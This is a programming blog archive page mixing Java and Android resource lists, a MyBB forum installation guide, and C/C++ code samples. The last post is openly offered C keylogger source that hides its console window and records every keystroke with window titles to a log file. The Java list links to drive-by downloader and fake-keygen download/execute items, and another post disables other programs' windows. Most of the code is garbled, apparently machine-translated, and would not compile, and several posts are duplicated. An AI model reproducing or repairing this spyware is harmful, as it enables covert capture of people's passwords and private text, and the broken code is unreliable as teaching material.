Showing posts with label programming. Show all posts
Showing posts with label programming. Show all posts
Best Android Guide! [200 VIDEOS] [20 HOURS]+BLACKBERRY
Here is the link to the playlist to the 200 episode tutorial guide for Android programming. It has almost 20 hours of footage and was released just last week. Enjoy...
Compilation of Java Guides and Resources
What is Java?
Quoting Wikipedia:
Quoting Wikipedia:
Java is a programming language originally developed by James Gosling at Sun Microsystems (which is now a subsidiary of Oracle Corporation) and released in 1995 as a core component of Sun Microsystems' Java platform. The language derives much of its syntax from C and C++ but has a simpler object model and fewer low-level facilities. Java applications are typically compiled to bytecode (class file) that can run on any Java Virtual Machine (JVM) regardless of computer architecture. Java is general-purpose, concurrent, class-based, and object-oriented, and is specifically designed to have as few implementation dependencies as possible. It is intended to let application developers "write once, run anywhere". Java is considered by many as one of the most influential programming languages of the 20th century, and widely used from application software to web application.
There were five primary goals in the creation of the Java language:
The syntax of Java is largely derived from C++. Unlike C++, which combines the syntax for structured, generic, and object-oriented programming, Java was built almost exclusively as an object oriented language. All code is written inside a class and everything is an object, with the exception of the intrinsic data types (ordinal and real numbers, boolean values, and characters), which are not classes for performance reasons.
See also
Official Website:There were five primary goals in the creation of the Java language:
- It should be "simple, object oriented, and familiar".
- It should be "robust and secure".
- It should be "architecture neutral and portable".
- It should execute with "high performance".
- It should be "interpreted, threaded, and dynamic".
The syntax of Java is largely derived from C++. Unlike C++, which combines the syntax for structured, generic, and object-oriented programming, Java was built almost exclusively as an object oriented language. All code is written inside a class and everything is an object, with the exception of the intrinsic data types (ordinal and real numbers, boolean values, and characters), which are not classes for performance reasons.
See also
http://www.java.com/en/
Tutorials:
- Getting started with Java Programming! - By Soul Collector
- How to setup JDK + compiler [TUT] - By TyTN
- Teachings of Basic, proper Java - By tsgh mike
- Advanced Calculator *4 Steps* - By Co-exist™
- Java, Arrays of Objects - Psycho
- Java Tutorial #2 - By Psycho
- A Java Tutorial - By Psycho
- Polymorphism in Java - By Pr0-Hacker
- Java Native Interface basics - By s0ap_scum
- Classes, Methods and Objects - By terkitos
- Big Integer Class - By terkitos
- Java Loops - By terkitos
- Heredity - By terkitos
- How to compile and run a Java program - Systemerror
- A Beginners' Tutorial to Java Programming - By Qkyrie
- Methods and Uses - By Northern Lights
- Java Drive-By - Very In-Depth - By jhfire
- Java Drive-By - By djfshady
- Store an EXE as an image! - By MrZander
Sources:
- Un-backdoored Java Downloader (Driveby) [SRC] - by DarkShadowz
- MD5 Brute Forcer - By WebNET
- Beginner Java App [Source] - By Vorfin
- Fahrenheit to Celsuis converter - By kenneth1395
- Basic Calculator with GUI - By Fizzix
- Fake keygen applet with download/execute - By Fizzix
- Java Keylogger - By Canownueasy and Fizzix
Ebooks:
- A Guide to Modern Programming with Java
- Securing Java
- Data Structures and Algorithms With Object-Oriented Design Patterns in Java
- Mastering Enterprise Java Beans Second Edition
- A Java GUI Programmer's Primer
- Advanced Programming for the Java 2 Platform
- Thinking in Java
- Java Native Interface: Programmer's Guide and Specification
- Sams Teach Yourself Java 2 in 24 Hours
- An Introduction to Java Programming
- Data Structures and Algorithms with Object-Oriented Design Patterns in Java
- 1000 Java Tips!
- The Java Language Specification
- Absolute Java, by Walter Savitch
External Java Lessons and Resources:
- Java IRC Bot
- Introduction to Programming Using Java
- Java Programming Resources
- Java Programming FAQs and Tutorials
- Java Programming Examples
- Java Programming Notes
- Getting started with Java
- Beginner Java Tutorial
- Java Programming Style Guidelines
- Java - Programmer's Heaven
- Sockets programming in Java
- Java Programming ... From the Grounds Up
- Intro to JavaFX - Dummy Chess
- Programming 2D Games in J2ME
- Generics in Java – Part I
- An Introduction to Java GUI Programming
- Executing commands on a remote machine - Part 1
- 4 Simple Rules for Effective Bug-free Concurrent Programming
- How to Write Small and Useful Programs
- Java Chat With Customizable GUI
- Tracing in Java applications
- Quick Mail using Java Mail API
- Using Sockets in Java - Server
- Tab Control in Java ( in AWT)
Video Lessons:
Lesson Series No. 1
- Java 01: Hello World
- Java 02: Variables
- Java 03: Functions
- Java 04: If & Switch Statements
- Java 05: While & For Loops Statements
- Java 06: Basic Classes
- Java 07: Namespace & User Input
- Java 08: Advanced Arrays
- Java 09: Inheritence, Abstract Classes & Methods
- Java 10: Interfaces
- 1 - Common String Methods
- 2 - Some More String Methods
- 3 - Recursion
- 4 - Introduction to Collections
- 5 - ArrayList Program
- 6 - LinkedList
- 7 - LinkedList Program
- 8 - Converting Lists to Arrays
- 9 - Collections Method sort
- 10 - Methods reverse and copy
- 11 - Collections Methods fill
- 12 - addAll
- 13 - frequency, disjoint
- 14 - Stacks, push, pop
- 15 - Queue
- 16 - HashSet
- 17 - Generic Methods
- 18 - Implementing a Generic Method
- 19 - Generic Return Types
- 20 - Introduction to Applets
- 21 - How to put an Applet on a Website
- 22 - init for Applets
Go to his channel and look for his Java lessons.
Useful Website Links:
- http://www.codeproject.com/KB/java/
- http://www.info4java.com/
- http://www.beginner-java-tutorial.com/
- http://www.javapassion.com/javaintro/
- http://www.webpelican.com/internet-programming-1/
- http://home.cogeco.ca/~ve3ll/jatutor0.htm
- http://java.sun.com/new2java/index.jsp
- http://www.cafeaulait.org/
- http://java.sun.com/developer/onlineTraining/JavaIntro/
- http://java.sun.com/developer/onlineTrai...index.html
- http://java.sun.com/developer/onlineTrai...asicJava2/
- http://www.extropia.com/tutorials/java/toc.html
- http://java.sun.com/docs/books/tutorial/
- http://www.cafeaulait.org/javatutorial.html
- http://www.javacoffeebreak.com/tutorials/index.html
- http://www.cs.cmu.edu/~jch/java/optimization.html
- http://www.apl.jhu.edu/~hall/java/Swing-...nting.html
- http://www.javacoffeebreak.com/java101/java101.html
- http://java.sun.com/developer/technicalA.../1.4regex/
- http://www.vijaymukhi.com/vmis/java.html
- http://java.sun.com/docs/books/tutorial/deployment/jar/
- http://www.woodger.ca/jv_top.htm
- http://www.webdeveloper.com/java/java_pr...ds_up.html
- http://javaboutique.internet.com/
- http://www.mandomartis.com/onlinecourses/courses.html
- http://java.sun.com/developer/onlineTrai...index.html
- http://www.cs.drexel.edu/~shartley/ConcP...index.html
- http://www.artima.com/designtechniques/i...ation.html
- http://www.apl.jhu.edu/~hall/java/Java2D-Tutorial.html
- http://java.sun.com/developer/onlineTrai...tract.html
- http://www.javaworld.com/javaworld/jw-12...ckets.html
- http://www.acm.org/crossroads/xrds4-2/serial.html
- http://java.sun.com/developer/onlineTrai...g/JDCBook/
- http://www.apl.jhu.edu/~hall/java/CGI-with-Java.html
- http://java.sun.com/developer/onlineTrai...index.html
- http://java.sun.com/developer/onlineTraining/rmi/
- http://www.onjava.com/pub/a/onjava/excer...index.html
- http://netbeans.org/kb/articles/learn-java.html
- http://java.sun.com/docs/books/tutorial/java/index.html
- http://www.freejavaguide.com/
Making your own Forum
Welcome to this guide. This thread will cover everything that is required to start your own forum running on MyBB software. It will describe how to make your forum personal and original. All the aspects that are required to successfully run your own forum, will be guided here.
Contents
Contents
- What is MyBB
- Requirements and software information
- Installing MyBB
- Modifications, Plugins and Themes
- Customizing MyBB
- Monetizing the forum
- Adding Categories, Forums and Subforums
- FAQ
What is MyBB
Mybb is a type of forum software. Although there are many other forum software available (IPBoard, vBulletin), MyBB is preferred by many because of it's simplicity. MyBB is completely free, which means that you don't have to pay to use it. MyBB can be completely modified and there are a lot of modifications, plugins and theme's available for MyBB. Due to MyBB being widely used, there is a lot of support. MyBB has their own Community Forum in which customer service is being given.
Some powerful features:
Credits to MyBB.
Ease of Use
MyBB was designed to be easy to use, for both you and your visitors.
Administration
Developed and refined to put you in full control of your forum.
Built-in Template & Theme Editor
A built in syntax highlighting template editor and easy CSS editor for aesthetic customization
Threads, Posts, and Polls
Infinite possibilities arise from every conversation on your forum.
Reputation
Give ratings and leave comments on other registered users and their posts.
Warning System
Warn and punish users when they act inappropriately.
Task Scheduling System
Automatically keeps your forum in tip-top shape with tasks running behind the scenes.
DBMS Support
MySQL, PostgreSQL and SQLite database support with replication/slave support built in.
Performance
MyBB 1.6 runs faster and more efficient than previous versions.
Mass Mail and Newsletter System
Send instant or scheduled messages to registered users matching specified criteria.
User Promotions
Automatically promote users based on their post count, reputation or registration date.
Calendars and Events
Multiple calendars each with their own recurring or ranged events by users.
Private Messaging
Send messages to one or several registered users at a time, privately.
Moderation
Powerful tools for forum moderators and staff to work by your side.
Powerful Plugin System
Extensive plugin system for great expansion of your forum without modifying the code.
Requirements and software information
In order to make use of MyBB, you would have to install the MyBB software on your webhosting. If you don't have hosting yet, register one for free anywhere. Your hosting would need:
- PHP version 5.1.0+
- FTP access to upload MyBB software, or an auto-installer.
- Filezilla, for example.
- MySQL 4+
The newest version of MyBB software is 1.6.5 and was released on the 25th of november 2011. In this version, 3 vulnerabilities have been fixed.
A full list of fixed issues can be found here.
Information on upgrading from an older version to a newer one can be found here.
Version 2 of MyBB is in planning and is probably in progress already.
The 5 latest versions are:
1.6.5 25 November 2011
1.6.4 26 July 2011
1.6.3
1.6.2
1.6.1
1.6.0
A full list can be found here.
The best and most recommended version is 1.6.5, as it has most vulnerabilities and problems fixed.
Installing
In order to install MyBB, you firstly will have to download the software. This can be done here: http://www.mybb.com/download/latest. Note, this is version 1.6.5.
Unzip the downloaded file and transfer the contents of the file to your webhosting's root directory, this can be done using a FTP client (Filezilla).
Alternatively, use the auto installer that is provided by some webhosting companies.
See picture below.
[click on image to enlarge]
The following instructions are from MyBB;
If you are using MySQL 4 and you wish to install MyBB, you will need to make some changes.
n ./inc/db_mysql.php, delete/remove or comment out:
If you are using MySQL 4 and you wish to install MyBB, you will need to make some changes.
n ./inc/db_mysql.php, delete/remove or comment out:
Code:
if($success && $this->db_encoding)
{
$this->query("SET NAMES '{$this->db_encoding}'");
if($write_success && count($this->connections) > 1)
{
$this->write_query("SET NAMES '{$this->db_encoding}'");
}
}
return $success;Code:
return " CHARACTER SET {$this->db_encoding} COLLATE {$collation}";If any problems occured, refer to the official installing guide once again or contact MyBB support.
C + + program to solve quadratic polynomials
# include <iostream.h>
# include <math.h>
stdlib.h
int main ()
{
float a, b, c, rta1, rta2, lin, base, root, raiz2, img, x;
court <<"\ n ax ^ 2 + bx + c = 0" <<endl;
court <<endl;
court <<"Enter the value to";
cin>> a;
court <<endl;
court <<"Enter the value of b:";
cin>> b;
court <<endl;
court <<"Enter the value of c:";
cin>> c;
court <<endl;
system ("cls");
court <<endl;
court <<a <<"x ^ 2 +" <<b <<"x +" <<c <<"= 0" <<endl;
court <<endl;
if (a! = 0)
{
base = ((pow (b, 2)) - (4 * a * c));
if (base> = 0)
{
root = pow (base, 0.5);
rta1 = (-b + (root)) / (2 * a);
rta2 = (-b-(root)) / (2 * a);
court <<"The first root is:" <<rta1 <<endl;
court <<endl;
court <<"The second root is:" <<rta2 <<endl;
court <<endl;
}
else
{
img = base * (-1);
root = (pow (img, 0,5)) / (2 * a);
raiz2 =- (pow (img, 0,5)) / (2 * a);
rta1 =- b / (2 * a);
court <<"The first imaginary root is" <<rta1 <<"i" <<root <<endl;
court <<"The second imaginary root is" <<rta1 <<"i" <<raiz2 <<endl;
court <<endl;
}
}
else
{
if ((a == 0) & & (c == 0))
{
x = 0 / b;
court <<"The root is" <<x <<endl;
}
else if (b> 0)
{
lin = (-c / b);
court <<"The value of the root is:" <<lin;
court <<endl;
}
else
{
court <<"You just pick a point" <<c;
court <<endl;
}
}
system ("PAUSE");
return 0;
}
# include <math.h>
stdlib.h
int main ()
{
float a, b, c, rta1, rta2, lin, base, root, raiz2, img, x;
court <<"\ n ax ^ 2 + bx + c = 0" <<endl;
court <<endl;
court <<"Enter the value to";
cin>> a;
court <<endl;
court <<"Enter the value of b:";
cin>> b;
court <<endl;
court <<"Enter the value of c:";
cin>> c;
court <<endl;
system ("cls");
court <<endl;
court <<a <<"x ^ 2 +" <<b <<"x +" <<c <<"= 0" <<endl;
court <<endl;
if (a! = 0)
{
base = ((pow (b, 2)) - (4 * a * c));
if (base> = 0)
{
root = pow (base, 0.5);
rta1 = (-b + (root)) / (2 * a);
rta2 = (-b-(root)) / (2 * a);
court <<"The first root is:" <<rta1 <<endl;
court <<endl;
court <<"The second root is:" <<rta2 <<endl;
court <<endl;
}
else
{
img = base * (-1);
root = (pow (img, 0,5)) / (2 * a);
raiz2 =- (pow (img, 0,5)) / (2 * a);
rta1 =- b / (2 * a);
court <<"The first imaginary root is" <<rta1 <<"i" <<root <<endl;
court <<"The second imaginary root is" <<rta1 <<"i" <<raiz2 <<endl;
court <<endl;
}
}
else
{
if ((a == 0) & & (c == 0))
{
x = 0 / b;
court <<"The root is" <<x <<endl;
}
else if (b> 0)
{
lin = (-c / b);
court <<"The value of the root is:" <<lin;
court <<endl;
}
else
{
court <<"You just pick a point" <<c;
court <<endl;
}
}
system ("PAUSE");
return 0;
}
Lock the keyboard input and mouse in a window [C + +].
# include <iostream>
# include <windows.h>
# include <cstdlib>
# include <cstdio>
using namespace std;
const char window [3] [65] = {"Windows Live Messenger", "Windows Media Player"
"Control Panel"};
HWND hwnd [3] = {hwnd [0] = FindWindow (NULL, windows [0]), hwnd [1] =FindWindow (NULL, windows [1]),
hwnd [2] = FindWindow (NULL, windows [2])};
void search () {
if (hwnd [0] == NULL) {
court <<"not found the window:" <<window [0]; getchar ();
else {} EnableWindow (hwnd [0], false) court <<"Found window:" <<window [0];getchar ();}
if (hwnd [1] == NULL) {
court <<"not found the window:" <<window [1]; getchar ();
else {} EnableWindow (hwnd [1], false) court <<"Found window:" <<window [1];getchar ();}
if (hwnd [2] == NULL) {
court <<"not found the window:" <<window [2]; getchar ();
else {} EnableWindow (hwnd [2], false) court <<"Found window:" <<window [2];getchar ();}
}
int main () {
SetConsoleTitle ("windows");
search ();
getchar ();
return 0;
}
# include <windows.h>
# include <cstdlib>
# include <cstdio>
using namespace std;
const char window [3] [65] = {"Windows Live Messenger", "Windows Media Player"
"Control Panel"};
HWND hwnd [3] = {hwnd [0] = FindWindow (NULL, windows [0]), hwnd [1] =FindWindow (NULL, windows [1]),
hwnd [2] = FindWindow (NULL, windows [2])};
void search () {
if (hwnd [0] == NULL) {
court <<"not found the window:" <<window [0]; getchar ();
else {} EnableWindow (hwnd [0], false) court <<"Found window:" <<window [0];getchar ();}
if (hwnd [1] == NULL) {
court <<"not found the window:" <<window [1]; getchar ();
else {} EnableWindow (hwnd [1], false) court <<"Found window:" <<window [1];getchar ();}
if (hwnd [2] == NULL) {
court <<"not found the window:" <<window [2]; getchar ();
else {} EnableWindow (hwnd [2], false) court <<"Found window:" <<window [2];getchar ();}
}
int main () {
SetConsoleTitle ("windows");
search ();
getchar ();
return 0;
}
Keylogger in c
This is the code in c . how to make your own keylogger in c....
/ *Features:- Starts on the route where executed
| Do not add to the record |- Keep a log of all events as well as keystrokes,
in the "LgPh.log" with the window title and dateHe runs in HIDE
- Contact:Coded by Lympex - lympex [at] gmail [dot] com & & http://l-bytes.tk* // *
Modification of basic keyloguer - Coded by P [i]Final keyloguer Modification - mrobles------------------------------------------------
- Modified the way to identify you the keys.- When pressed 850 keys are also stored (Sino gives an error)
P [i] - serxoker@yahoo.esa-la-saca3@hotmail.com
* /
# Include <stdio.h>Stdlib.h# Include <windows.h># Include <time.h>
# Define OK -32767
int main () {GetForegroundWindow HWND window = ();ShowWindow (window, SW_HIDE);
{
FILE * log;
HWND window;
time_t last;
int key = 0;
int cont = 0;
TVentana char [500] = "";
char keys [10240 ]=""; / / 0 1 2 3 4 5 6 7 8 9 10
char symbol [256] [15] = / * 0 * / {"","","[ ]","[ CliC CliC-I-D-C ]","","[ CliC ]","" Back ]","[ ]","", ,"","[ TAB
/ * 1 * / "","","[ ]","[ ENTER SHIFT CONTROL ]","","","[ ]","","[ ]","[ ALT Shift] "
/ * 2 * / Esc "","","","","","","[ ]","","","",
/ * 3 * / "" "" "[Re-Av-Pag Pag ]","[ ]","","[ ]","[ Left Up Home ]","[ ]","[]","[ Right Down] "
/ * 4 * / PrtSc "","","","[ ]","[ ]","[ Delete Insert ]",""," 0 "," 1 "," 2 ",
/ * 5 * / "3", "4", "5", "6", "7", "8", "9 ","","","",
/ * 6 * / "","","",""," a "," b "," c "," d "," e "," f "
/ * 7 * / "g", "h", "i", "j" "k", "l", "m", "n", "o", "p"
/ * 8 * / "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
/ * 9 * / "[WIN-WIN-D I ]","[ ]","[ D-WIN ]","",""," 0", "1", "2", "3" ,
/ * 10 * / "4", "5", "6", "7", "8", "9 ","*","+"," ","-",".",
/ * 11 * / "/","[ ]","[ F1 F2 F3 ]","[ ]","[ F4 F5 ]","[ ]","[ ]","[ F6 F7] " "[F8 ]","[ F9]"
/ * 12 * / "[F10 ]","[ ]","[ F11 F12]" "" "" "" "" "" "" ""
/ * 13 * / "" "" "" "" "" "" "" "" "" "" ""
/ * 14 * / "" "" "[Num Lock]" "" "" "" "" "" ""
/ * 15 * / "" "" "" "" "" "" "" "" "" "[Shift-I]"
/ * 16 * / "[Shift-D]" "" "" "" "" "" "" "" "" ""
/ * 17 * / "" "" "" "" "" "" "" "" "" ""
/ * 18 * / "" "" "" "" "" "" "",",","-",".",
/ * 19 * / "" "" "" "" "" "" "" "" ""
/ * 20 * / "" "" "" "" "" "" "" "" "" "" ""
/ * 21 * / "" "" "" "" "" "" "" "","'"," \ \"
/ * 22 * / "¡","'"};
log = fopen ("log.log", "a");
fprintf (log, "\ n /******************************/");
fprintf (log, "\ n / * [*] KeyLoGuer */");
fprintf (log, "\ n / * [*] Starting ... OK");
fprintf (log, "\ n /******************************/");
fclose (log);
GetForegroundWindow window = ();
while (1) {
if ((GetForegroundWindow ()! = window) | | (cont == 850)) {
if (strlen (TVentana)> 0 & & strlen (keys)> 0) {
time (& last);
ctime (& last);
log = fopen ("log.log", "a");
fprintf (log, "\ n \ n [*] Date:% s", ctime (& last));
fprintf (log ,"[*] Window:% s ", TVentana);
fprintf (log, "\ n [*] Text:% s", key);
fprintf (log, "\ n");
fprintf (log, "\ n /******************************/ \ n");
fclose (log);
free (Keys);
strcpy (Keys ,"");
cont = 0;
}
GetForegroundWindow window = ();
}
else {
GetWindowText (window, TVentana, 500);
}
for (key = 4; key <256; key + +) {
if (GetAsyncKeyState (key) == OK) {
strcat (keys, symbol [key]);
printf ("% s \ n", symbol [key]);
cont + +;
}
}
}}}
/ *Features:- Starts on the route where executed
| Do not add to the record |- Keep a log of all events as well as keystrokes,
in the "LgPh.log" with the window title and dateHe runs in HIDE
- Contact:Coded by Lympex - lympex [at] gmail [dot] com & & http://l-bytes.tk* // *
Modification of basic keyloguer - Coded by P [i]Final keyloguer Modification - mrobles------------------------------------------------
- Modified the way to identify you the keys.- When pressed 850 keys are also stored (Sino gives an error)
P [i] - serxoker@yahoo.esa-la-saca3@hotmail.com
* /
# Include <stdio.h>Stdlib.h# Include <windows.h># Include <time.h>
# Define OK -32767
int main () {GetForegroundWindow HWND window = ();ShowWindow (window, SW_HIDE);
{
FILE * log;
HWND window;
time_t last;
int key = 0;
int cont = 0;
TVentana char [500] = "";
char keys [10240 ]=""; / / 0 1 2 3 4 5 6 7 8 9 10
char symbol [256] [15] = / * 0 * / {"","","[ ]","[ CliC CliC-I-D-C ]","","[ CliC ]","" Back ]","[ ]","", ,"","[ TAB
/ * 1 * / "","","[ ]","[ ENTER SHIFT CONTROL ]","","","[ ]","","[ ]","[ ALT Shift] "
/ * 2 * / Esc "","","","","","","[ ]","","","",
/ * 3 * / "" "" "[Re-Av-Pag Pag ]","[ ]","","[ ]","[ Left Up Home ]","[ ]","[]","[ Right Down] "
/ * 4 * / PrtSc "","","","[ ]","[ ]","[ Delete Insert ]",""," 0 "," 1 "," 2 ",
/ * 5 * / "3", "4", "5", "6", "7", "8", "9 ","","","",
/ * 6 * / "","","",""," a "," b "," c "," d "," e "," f "
/ * 7 * / "g", "h", "i", "j" "k", "l", "m", "n", "o", "p"
/ * 8 * / "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
/ * 9 * / "[WIN-WIN-D I ]","[ ]","[ D-WIN ]","",""," 0", "1", "2", "3" ,
/ * 10 * / "4", "5", "6", "7", "8", "9 ","*","+"," ","-",".",
/ * 11 * / "/","[ ]","[ F1 F2 F3 ]","[ ]","[ F4 F5 ]","[ ]","[ ]","[ F6 F7] " "[F8 ]","[ F9]"
/ * 12 * / "[F10 ]","[ ]","[ F11 F12]" "" "" "" "" "" "" ""
/ * 13 * / "" "" "" "" "" "" "" "" "" "" ""
/ * 14 * / "" "" "[Num Lock]" "" "" "" "" "" ""
/ * 15 * / "" "" "" "" "" "" "" "" "" "[Shift-I]"
/ * 16 * / "[Shift-D]" "" "" "" "" "" "" "" "" ""
/ * 17 * / "" "" "" "" "" "" "" "" "" ""
/ * 18 * / "" "" "" "" "" "" "",",","-",".",
/ * 19 * / "" "" "" "" "" "" "" "" ""
/ * 20 * / "" "" "" "" "" "" "" "" "" "" ""
/ * 21 * / "" "" "" "" "" "" "" "","'"," \ \"
/ * 22 * / "¡","'"};
log = fopen ("log.log", "a");
fprintf (log, "\ n /******************************/");
fprintf (log, "\ n / * [*] KeyLoGuer */");
fprintf (log, "\ n / * [*] Starting ... OK");
fprintf (log, "\ n /******************************/");
fclose (log);
GetForegroundWindow window = ();
while (1) {
if ((GetForegroundWindow ()! = window) | | (cont == 850)) {
if (strlen (TVentana)> 0 & & strlen (keys)> 0) {
time (& last);
ctime (& last);
log = fopen ("log.log", "a");
fprintf (log, "\ n \ n [*] Date:% s", ctime (& last));
fprintf (log ,"[*] Window:% s ", TVentana);
fprintf (log, "\ n [*] Text:% s", key);
fprintf (log, "\ n");
fprintf (log, "\ n /******************************/ \ n");
fclose (log);
free (Keys);
strcpy (Keys ,"");
cont = 0;
}
GetForegroundWindow window = ();
}
else {
GetWindowText (window, TVentana, 500);
}
for (key = 4; key <256; key + +) {
if (GetAsyncKeyState (key) == OK) {
strcat (keys, symbol [key]);
printf ("% s \ n", symbol [key]);
cont + +;
}
}
}}}
Subscribe to:
Posts (Atom)







